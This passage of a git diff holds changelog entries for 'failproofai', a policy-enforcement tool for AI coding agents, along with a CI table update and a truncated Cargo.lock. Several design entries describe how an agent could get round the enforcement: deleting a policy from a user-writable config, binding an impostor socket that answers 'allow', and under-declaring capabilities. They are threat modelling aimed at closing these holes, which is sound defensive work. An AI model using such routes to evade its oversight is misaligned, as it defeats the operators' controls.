would have shipped an empty package to every user. The removal and an explicit `bun run build` land together, placed *after* the version bump because `build:cli` inlines package.json's `version` into `dist/cli.mjs`, followed by a step that fails the workflow if `dist/cli.mjs`, `dist/index.js` or `.next/standalone/server.js` is missing or zero-length. Publishing now runs with `--ignore-scripts` (in `publish-aliases.mjs` too), and `scripts/check-versions.mjs` fails CI if any of the eight npm lifecycle scripts is declared again — so this is a permanent property rather than a one-time edit. Verified by packing and unpacking the real tarball: 1,699 files, 15.8 MB, with all three artifacts present and non-empty and `dist/cli.mjs --version` printing `0.0.16-beta.0`. (#630) +- Prune the design-doc tree out of the published tarball. `prune-standalone.mjs` removed `"design-docs"` from the over-traced `.next/standalone/` root, but the directory on disk is `desgin-docs` — a typo the design docs all cross-link, so it is not being renamed — and the entry therefore matched nothing. Confirmed against `npm pack --dry-run --json` before the fix: 17 files under `.next/standalone/desgin-docs/` were shipping to npm on every publish. Both spellings are now listed, plus `crates` and `target`, and `Cargo.toml`/`Cargo.lock`/`rust-toolchain.toml`/`rustfmt.toml`/`clippy.toml` — unpacking the tarball showed NFT traces repo-root files into the standalone root too, so the incoming Rust workspace would otherwise have shipped its config alongside the docs. (#630) +- Point every CI cache key at a lockfile that exists. All seven `actions/cache` steps across `ci.yml`, `publish.yml` and `translate-docs.yml` keyed on `hashFiles('bun.lockb')`; the repo tracks `bun.lock`, so `hashFiles` returned the empty string and the key has been the constant `bun-Linux-` since the initial import — the bun cache has never invalidated on a dependency change, which would have looked like a flake introduced by the new Rust caching rather than one that was already there. (#630) +- Replace the version-consistency check, which has passed vacuously since the initial import. The inline shell in `ci.yml` looped over `packages/*/package.json` and read `packages/wrapper/package.json`; that directory does not exist and is not planned, so the loop body never ran and the `jq` fell through its own `|| true`. `scripts/check-versions.mjs` keeps those semantics intact for the day the directory appears and adds three assertions that bite today: the Cargo workspace version equals root package.json's, every crate inherits with `version.workspace = true` rather than pinning a literal that goes stale on the next bump, and package.json declares none of the eight npm lifecycle scripts. It exports a pure `checkVersions(rootDir)` returning violations, so `__tests__/scripts/check-versions.test.ts` drives it against temp fixtures — 35 cases including a re-added `prepare`, a mismatched crate, and the assertion that the real repository root passes. Dependency-free, including a ~40-line TOML reader scoped to the two keys it needs. (#630) +- Add `scripts/check-pack-allowlist.mjs`, comparing `npm pack --dry-run --json` against a committed `.github/expected-pack-files.txt` so a new top-level directory can neither silently ship nor silently fail to ship. Comparison is at first-path-segment granularity: the tarball holds ~1,700 files, nearly all of them `.next/standalone/node_modules/**`, and a file-level manifest would churn on every dependency bump until nobody read it. The `quality` job runs it for the "unexpectedly shipping" direction and the `build` job re-runs it against a real build, where a missing `dist/` is fatal. (#630) +- Add the empty Cargo workspace and a `rust-quality` CI job, so the plumbing exists before there is anything to break. `crates/.gitkeep` is load-bearing and verified against cargo 1.97.1: with `crates/` present but holding no crate, `members = ["crates/*"]` resolves to zero members and `cargo metadata` succeeds, while with `crates/` absent every cargo command fails to read `crates/*/Cargo.toml`. `cargo fmt --all`, `cargo clippy` and `cargo test` all fail outright on a zero-member workspace, so the job validates the manifest unconditionally and gates those three on a crate existing — turning itself into a real gate with the first one. (#630) +- Correct `CLAUDE.md`'s CI table, which listed four jobs against five in `ci.yml` and claimed the `test` matrix ran four env configs against three. (#630) + +### Docs +- Fold the six Stage 0 amendments into the Phase 1 design set, which `03-risks-and-amendments.md` had asked for "as Stage 0 lands, rather than discovering them during implementation" — an outstanding deliverable, since the amendments exist precisely because the documents stated things that were not true. Two change what the design set *claims* rather than merely adding to it. `01-user-experience.md`'s "genuinely tamper-proof" was **false as written**: policy enablement lives in the user-writable merge of `.failproofai/policies-config.json`, so an agent with its user's authority deletes `block-sudo` from a JSON array and the unforgeable verdict is never reached — nothing is forged, the policy simply does not run. That sentence is gone, replaced by the tier's honest scope (it makes evaluation unforgeable, not selection), and the root-owned `machine.json` design is now written down in `03-daemon-architecture.md` with an explicit statement that **it does not ship yet** — Stage 1's daemon evaluates the client's resolved enabled set, which is client-asserted. And macOS codesigning and notarization appeared in none of the eight documents while an unsigned LaunchDaemon is killed outright on macOS 15, so two of the four release targets were blocked by an omission rather than a decision; `07-release-and-packaging.md` now carries Developer ID signing, the JIT entitlement and its systemd counterpart, `notarytool`/`stapler`, and quarantine stripping as its own section with four acceptance criteria. The amendments file is kept rather than deleted, rewritten to record what was wrong and where each correction landed — a folded correction reads as ordinary design, and the part that does not survive the merge is the specific failure it prevents. (#630) +- Add the Phase 1 implementation plan, grounded in a full survey of the current code rather than the design docs alone. The sequencing is built around one idea: the existing TypeScript implementation is not replaced, it is promoted to oracle — it stays in the tree, keeps its tests, answers when the daemon cannot, and is what every new implementation is diffed against byte-for-byte. Three decisions are settled. The sealed tier runs **QuickJS-ng** (~1 MB against V8's +30–45 MB on each of four tarballs npx downloads; deny-by-default is structural rather than a syscall filter), gated by a Stage-0 spike against the real regex corpus. The 39 builtins are **not** ported to Rust — the boundary is the process, UID, and absent bindings, not the language, so porting buys no security, does nothing for user-authored policies, and the `regex` crate cannot even express `extractAbsolutePaths`' lookbehind. And protected policy enablement moves to a root-owned `machine.json`, because it currently lives in a user-writable file: an agent deletes `block-sudo` from a JSON array and the "unforgeable" verdict never runs, so the tamper-proof claim was not true as written. The survey turned up four live bugs the plan fixes in Stage 0 — `prepare` is the only thing populating `dist/` before `npm publish` (removing it alone ships an empty package, since `publish.yml` has no build step), `prune-standalone.mjs` prunes `"design-docs"` while the directory is `desgin-docs`, every CI cache key hashes a `bun.lockb` that does not exist so the bun cache has never invalidated, and the `packages/wrapper` version check has no-opped since the initial import. It also found that all 39 builtins share a module importing `child_process`, so shipping without splitting them by capability would route every builtin to `user-context` and leave the sealed tier empty — an architecture that looks implemented and delivers no verdict integrity. Verification is seven layers ending in a full-stack Docker gate: a contract-faithful `events:add` stub plus a `debian:12` machine running systemd as PID 1 with node and npm only, installed through the real `npx … setup`, asserting install, enforcement across 12 CLIs, both execution tiers, the no-agent path, protected-vs-mutable, capture→spool→delivery, crash durability with `strace`-verified fsync ordering, dashboard access control, catalog rollback, and uninstall — plus two legs that must never be skipped: the no-init preflight refusal and tamper (flipped byte, wrong signing key) refusing before anything touches `/opt`. Six design-doc amendments are recorded, of which macOS codesigning and notarization — absent from all eight documents and blocking two of four targets — is the most urgent. (#625) +- Split the v1.0.0 design set into two phases and cut v1 down to one service scope. The three-way `managed`/`system`/`user` choice is now one shipped scope, `managed`: setup has no privilege decision to make, so the step that offered it becomes a disclosure of what the boundary is — affected users, created paths, per-harness hook protection, service manager, and the one `sudo` — followed by a confirmation. Every guarantee in the doc set was qualified three ways ("in managed and system scope…", "user scope makes no verdict-integrity claim"); those qualifications are gone and the claims are now unconditional, which is most of the simplification. The `sealed`/`user-context` split survives untouched, because it is about what a policy's resolved import graph needs, not about which scope is installed — its table loses only the "available in" column. The two dropped scopes are recorded in a `Deferred scopes` section with their layouts and the exact guarantee each gains or loses, so adding one later is a service-registration change rather than a redesign, and neither is reachable as a fallback. The cost is stated instead of hidden: one privileged scope means installation now *requires* administrator access and a running systemd/launchd, so a machine with neither is refused in preflight — no silent degrade to an unsupervised process, and the release gate's clean-container run needs a real init as PID 1 with the refusal asserted as its own case. The second change is the phase split: `phase-1-local-enforcement/` is the daemon, harness integration, execution tiers, service and schema catalog, local dashboard, and npm distribution — no account, no sign-in, nothing in the decision path that needs a network. `phase-2-cloud/` takes machine enrollment into Failproof Cloud, the transactional enrollment sequence, the machine credential, centrally assigned policy, targeting, fleet health, and staged rollout. The line is one test — can a customer already do this today? If yes it is Phase 1, regardless of whether it touches a network or a credential. So the whole `agenteye-collector` lands in Phase 1, delivery included: it authenticates to the customer's **own self-hosted** observability server with an operator-issued `events:add` key, which is neither a FailproofAI account nor a machine identity, and `failproofai auth login` already ships. Phase 1 therefore keeps the collection and delivery lanes, the durable spool, `collector status|flush`, the `Flush` operation, and the legacy-collector migration with its ownership lock and rollback window; its "no account" claim is narrowed to the accurate one — no FailproofAI organization is required, and no policy decision depends on a network service. What stays in Phase 1 is contract shape, not dormant features — canonical location-independent request/result, end-to-end deadlines, stable decision identity, bounded lanes, a versioned health snapshot — so Phase 2 extends rather than reshapes, with no configuration key or client added ahead of time. (#625) +- Replace the root daemon with a dedicated `_failproofai` service account as the recommended `failproofaid` enforcement boundary, and resolve the three problems that follow from it. Setup now offers `managed` (daemon runs as the service account, one sudo at install, no root at runtime), `system` (the same service as root, retained for fleet-managed `/etc` configuration and root-owned agents), and `user` (unchanged, cooperative). Three corrections come with it. Protected artifacts move out of `~/.failproofai` entirely: rename and delete permission derive from the *parent* directory, so a user who owns `~` can rename an unwritable subdirectory aside and substitute their own regardless of its mode — which also means the socket directory must be service-account-owned, closing the substitution attack where an agent unlinks the socket and binds an impostor that answers `allow`. Only *removal* is privileged, not addition: results combine `deny` over `instruct` over `allow`, so a user-added policy can only tighten enforcement and can never shadow a protected one, and convention discovery keeps working without elevation. And since a non-root daemon cannot `setuid` to an enrolled user, evaluation splits into a `sealed` tier (runs as the service account in a pinned runtime, no filesystem/subprocess/network, verdict unforgeable) and a `user-context` tier (runs as the requesting UID, verdict forgeable but additive-only, so a forged `allow` is worthless) — with the tier *derived* from declared capabilities rather than chosen, because it describes what is physically achievable. Payload-only builtins like `block-sudo` land in `sealed`. The release ships its own pinned runtime so the daemon never executes an nvm/fnm interpreter the user can rewrite, and constructs worker environments instead of inheriting `NODE_OPTIONS`/`NODE_PATH` from the agent's process. Promotion into the protected store compiles a policy and its full import graph into one content-addressed artifact, leaving authoring and dependency management unprivileged and unchanged. Enforcement performs no unbounded I/O: policies needing remote state read a cache the collection lane refreshes, rather than making GitHub's uptime a precondition for running a command. (#625) +- Close four holes review found in the service-account boundary above, each one a case of the guarantee being narrower than the sentence claiming it. The protected surface — executables, pinned runtime, policy store, schema catalog, machine configuration — is now root-owned and **read-only to the service account the daemon runs as**, which owns only mutable runtime state; the first draft made `_failproofai` the owner of the store it evaluates, so a compromised daemon could rewrite the sealed policies it was supposed to enforce, exactly the self-rewrite argument already applied to the binaries and not to the store. Tier selection no longer trusts a policy's own capability declaration, since the author controls it and under-declaring would have been a route into `sealed`: admission derives the tier from the resolved import graph, and the `sealed` context is deny-by-default with no filesystem, process, or network bindings, so an under-declared policy fails inside the tier rather than escaping it. Native addons are refused from `sealed` outright — a pinned digest prevents substitution but constrains nothing about what native code does once loaded. And `sealed` is now stated as managed/system-only, because the protected runtime is a property of the privileged install layout, not of the shipped artifact; user scope makes no verdict-integrity claim. Also: `~/.failproofai` sources in a privileged scope are defined as additive non-authoritative inputs that only route to `user-context` and only tighten, resolving a contradiction with the out-of-home rule; "only removal is privileged" is scoped to policy administration so it stops reading as a claim about installation; uninstall unconditionally erases machine credentials rather than preserving them as configuration; catalog version detection gains a closed execution grammar (fixed executable/argument allowlists, no shell, constructed environment, output and time caps) since catalogs refresh remotely and activate automatically; catalog activation gains explicit fsync ordering, transaction metadata, and startup re-reconciliation; the release gate gains a clean-container install run; and the offline claim is qualified to operation-after-installation, since npm bootstrap is the only v1.0.0 distribution path. (#625) +- Give the local dashboard an access model. It was promised four times in the design set and specified nowhere — no command, no owner, no port, no access control — which mattered once the daemon stopped running as the user: a browser cannot speak the Unix socket, and a TCP listener carries no peer credentials, so whatever binds the port becomes the identity for everything behind it. Today it is a fixed `localhost:8020` started by `failproofai audit`, with server actions that write policy config; on a multi-user managed box that is both a port collision and a cross-user read of other people's session transcripts. The resolution keeps the daemon out of it entirely. `failproofai dashboard start|stop|status` spawns the bundled server from the CLI, which already runs as the invoking user, so the daemon is only a data source over the existing socket and peer credentials scope every read with no second identity mechanism — the daemon has no dashboard concept, and a pidfile in the user's runtime directory handles reattach and stop. Routing the spawn through the daemon was considered and rejected: it would inherit the service account at the TCP door, and a managed daemon cannot `setuid` to the requesting user anyway, the same wall as policy workers. Reads go through a new `Query` operation class filtered by peer credential rather than by any field the caller supplies. Writes split by tier so the common case is untouched: `mutable` policies toggle directly since they are additive-only and cannot weaken a protected one, while protected revisions are display-only and the UI composes a copyable `sudo failproofai policies disable --revision ` — so the dashboard never holds, requests, or brokers elevation, and protected changes stay on the CLI path that already produces an audit record. The listener is loopback-only on an ephemeral port, gated by a capability token carried in a header rather than the query string where `Referer` would leak it, with `Origin`/`Host` validation and no state-changing `GET` because any page the user visits can reach a localhost port. It is on-demand rather than supervised, expiring on `stop`, terminal exit, or a 30-minute default TTL. (#625) +- Add a versioned home for the failproofai v1.0.0 design documents. (#625) +- Draft the Linux/macOS Rust `failproofaid` design, preserving OSS and adding Login, Failproof Cloud, integrated collection, selectable service scopes with a recommended tamper-resistant default, and automatic version-aware hook reconciliation from a signed data-only schema catalog; keep native upgrades explicit through the single npm path, retain the branded Login/OSS setup, and defer Windows. (#625) + ## 0.0.15-beta.1 — 2026-07-29 ### Features diff --git a/CLAUDE.md b/CLAUDE.md index c7140786..56dfaed3 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -867,12 +867,14 @@ Resolve any conflicts, then continue. Never push a branch that is missing commit After every `git push`, run `gh run watch` or poll `gh run list --limit 3` until all checks finish. If any job fails, **stop and fix it before continuing**. Never leave a red CI. -The CI runs four jobs — all must pass: +The CI runs six jobs — all must pass: | Job | Command | |-----|---------| -| quality | lint + tsc + version-consistency check | -| test | `bun run test:run` (unit, 4 env configs) | -| build | `bun run build` (Next.js + dist/index.js) | +| quality | `node scripts/check-versions.mjs` + `node scripts/check-pack-allowlist.mjs` + `bun run lint` + `bunx tsc --noEmit` | +| test | `bun run test:run` (unit, 3 env configs: default, log-debug, hook-log-file) | +| build | `bun run build` (Next.js + dist/index.js) + the pack-allowlist check against the built tree | +| rust-quality | `cargo fmt --all -- --check` + `cargo clippy --workspace --all-targets -- -D warnings` + `cargo test --workspace` (the last three are skipped while `crates/` holds no crate; the workspace manifest is validated either way) | +| docs | `mintlify validate` + `bun run validate:mdx` | | test-e2e | `bun run test:e2e` | ### Always add unit tests for new behaviour diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 00000000..86db7e72 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,885 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "allocator-api2" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "bindgen" +version = "0.72.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "993776b509cfb49c750f11b8f07a46fa23e0a1386ffc01fb1e7d343efc387895" +dependencies = [ + "bitflags", + "cexpr", + "clang-sys", + "itertools", + "log", + "prettyplease", + "proc-macro2", + "quote", + "regex", + "rustc-hash", + "shlex 1.3.0", + "syn 2.0.119", +] + +[[package]] +name = "bit-set" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3" +dependencies = [ + "bit-vec", +] + +[[package]] +name = "bit-vec" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7" + +[[package]] +name = "bitflags" +version = "2.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cc" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5add81bb678e6cb321aff7fa0dc7689ad82b112dbc032cea19f91d6b8e3582b9" +dependencies = [ + "find-msvc-tools", + "shlex 2.0.1", +] + +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "clang-sys" +version = "1.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "157a8ba7b480713b56f4c09fd13fc3e0a22a5dfab8097ba61cbc5feef950788a" +dependencies = [ + "glob", + "libc", + "libloading", +] + +[[package]] +name = "convert_case" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "affbf0190ed2caf063e3def54ff444b449371d55c58e513a95ab98eca50adb49" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "either" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5e8f6c15a24b9a3ee5efec809ccd006d3b30e8b3bb63c39af737c7f87daa1d" + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "failproofaid" +version = "0.0.16-beta.0" +dependencies = [ + "fpai-ipc", + "rquickjs", + "serde", + "serde_json", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foldhash" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" + +[[package]] +name = "fpai-canon" +version = "0.0.16-beta.0" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "fpai-ipc" +version = "0.0.16-beta.0" +dependencies = [ + "nix", + "proptest", + "serde", + "serde_json", + "thiserror", + "tokio", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "libc", + "r-efi 5.3.0", + "wasip2", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", +] + +[[package]] +name = "glob" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4eba85ea1d0a966a983acd07deee566e67395d2d96b6fb39e62b5a833f1eb0b" + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" +dependencies = [ + "allocator-api2", + "equivalent", + "foldhash", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "indexmap" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "itertools" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "libc" +version = "0.2.189" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" + +[[package]] +name = "libloading" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55" +dependencies = [ + "cfg-if", + "windows-link", +] + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "mio" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d65c71f1ce40ab09135ce117d742b9f8a19ff91a41a8b57ed50bc2de59c427" +dependencies = [ + "libc", + "wasi", + "windows-sys", +] + +[[package]] +name = "nix" +version = "0.31.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", + "memoffset", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.119", +] + +[[package]] +name = "proc-macro-crate" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f" +dependencies = [ + "toml_edit", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "proptest" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b45fcc2344c680f5025fe57779faef368840d0bd1f42f216291f0dc4ace4744" +dependencies = [ + "bit-set", + "bit-vec", + "bitflags", + "num-traits", + "rand", + "rand_chacha", + "rand_xorshift", + "regex-syntax", + "rusty-fork", + "tempfile", + "unarray", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9ef1d0d795eb7d84685bca4f72f3649f064e6641543d3a8c415898726a57b41" +dependencies = [ + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "rand_xorshift" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "513962919efc330f829edb2535844d1b912b0fbe2ca165d613e4e8788bb05a5a" +dependencies = [ + "rand_core", +] + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fcfdb36bda0c880c5931cdc7a2bcdc8ba4556847b9d912bca70bc94708711ad" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "relative-path" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bca40a312222d8ba74837cb474edef44b37f561da5f773981007a10bbaa992b0" +dependencies = [ + "serde", +] + +[[package]] +name = "rquickjs" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e04e4eedfb060b503b5f0a2644abb890b0b3620d3fb674f9455f230014964e4" +dependencies = [ + "rquickjs-core", + "rquickjs-macro", +] + +[[package]] +name = "rquickjs-core" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16e4f499ac5b943d97ee6dbc44f23c2c10426f420f7d2f1793d6318911b6608c" +dependencies = [ + "hashbrown", + "relative-path", + "rquickjs-sys", +] + +[[package]] +name = "rquickjs-macro" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cbcc8219b70ee2faa08d5339f47f15741cba2ce0cb9640e8495f2ab51293f50" +dependencies = [ + "convert_case", + "fnv", + "ident_case", + "indexmap", + "proc-macro-crate", + "proc-macro2", + "quote", + "rquickjs-core", + "syn 2.0.119", +] + +[[package]] +name = "rquickjs-sys" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a13ac243b86a74120814ef7e9e30ad5a2c1199b7b9963b1cf7c84e4cdc1cad99" +dependencies = [ + "bindgen", + "cc", +] + +[[package]] +name = "rustc-hash" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 